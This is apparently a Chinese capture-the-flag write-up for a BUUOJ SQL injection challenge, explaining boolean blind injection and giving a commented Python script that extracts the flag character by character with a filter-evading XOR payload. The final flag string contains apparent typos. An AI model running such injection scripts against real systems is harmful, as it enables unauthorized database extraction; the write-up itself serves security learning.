题目环境
判断注入类型
1
2
3
1’
输入1’报错提示bool(false)
可知是字符型的布尔注入(盲注)
尝试万能密码
1’ or ‘1’=1
已检测SQL注入
猜测某些关键字或者字符被过滤
FUZZ字典爆破
可以看到部分关键字被过滤,包括空格
All You Want Is In Table ‘flag’ and the column is ‘flag’
Now, just give the id of passage
通过提示可以知道
flag字段在flag数据表里面
布尔注入
布尔注入是一种常见的SQL注入攻击技术,攻击者通过构造恶意输入,使应用程序的SQL查询返回不同的结果,从而达到绕过应用程序的安全机制,获取未授权的信息或执行恶意操作的目的。
布尔盲注
布尔盲注,也称为基于布尔的盲注,是一种SQL注入攻击方式。这种攻击方式主要利用Web页面的返回结果,根据页面返回的True或者是False来得到数据库中的相关信息。
在进行布尔盲注攻击时,攻击者首先需要对目标应用程序进行SQL注入,然后根据页面返回的结果来判断注入是否成功。由于页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。因此,这种攻击方式比较消耗时间,速度较慢。
在布尔盲注中,攻击者可能会使用一些常用的函数,如length()函数和ascii()函数。length()函数用于返回字符串的长度,ascii()函数用于返回字符串的字符ASCII码值。这些函数可以帮助攻击者更好地分析和理解返回结果,从而获取更多的信息。
总之,布尔盲注是一种比较复杂的SQL注入攻击方式,需要攻击者具备一定的技术水平和耐心。为了防止布尔盲注攻击,应该加强应用程序的安全性,如进行输入验证、使用参数化查询等措施。
通过脚本爆破flag
import requests
#调用请求模块
import time
#调用时间模块
import re
#调用规则表达式模块
url='http://1c6ac3dd-eab6-41d6-85a3-a5f888577768.node4.buuoj.cn:81/'
#题目链接
flag = ''
#创建一个变量用来存放flag值
for i in range(1,50):
#for循环遍历,i表示flag值大致长度是50以内
max = 127
#赋值127
min = 0
#赋值0
for c in range(0,127):
#for循环遍历
s = (int)((max+min)/2)
#首先将 max 和 min 相加,然后除以 2,最后将结果强制转换为整数类型。
payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
#^异或运算符,相同为假,不相同为真,1^payload,若为payload结果为假,则返回0,1^0=1,将得到查询id=1时的结果,回显Hello, glzjin wants a girlfriend。
#从flag数据表中选择一个名为flag的字段,然后取这个字段的字符串(从位置 '+str(i)+' 开始,长度为 1(每次只返回一个))
#将这个字符串转换为 ASCII 码,然后判断这个 ASCII 码是否大于一个名为 "s" 的变量。
r = requests.post(url,data = {'id':payload})
#requests模块的运用,将payload赋值给题目中这个名为id的参数
time.sleep(0.005)
#每循环一次休眠0.005秒
if 'Hello' in str(r.content):
#如果Hello这个字符串在生成的结果中,那么就继续向下进行
max=s
#将s的值赋值给max
else:
#反之
min=s
#将s的值赋值给min
if((max-min)<=1):
#如果max-min的值
flag+=chr(max)
#将max的ASCII值转化为字符串
print(flag)
#输出flag
break
#跳出循环
脚本里面已添加注释
希望能帮助大家更好的理解
得到flag:flag{7a?ec496-a77b-4foa-9748-c6382beoa0c}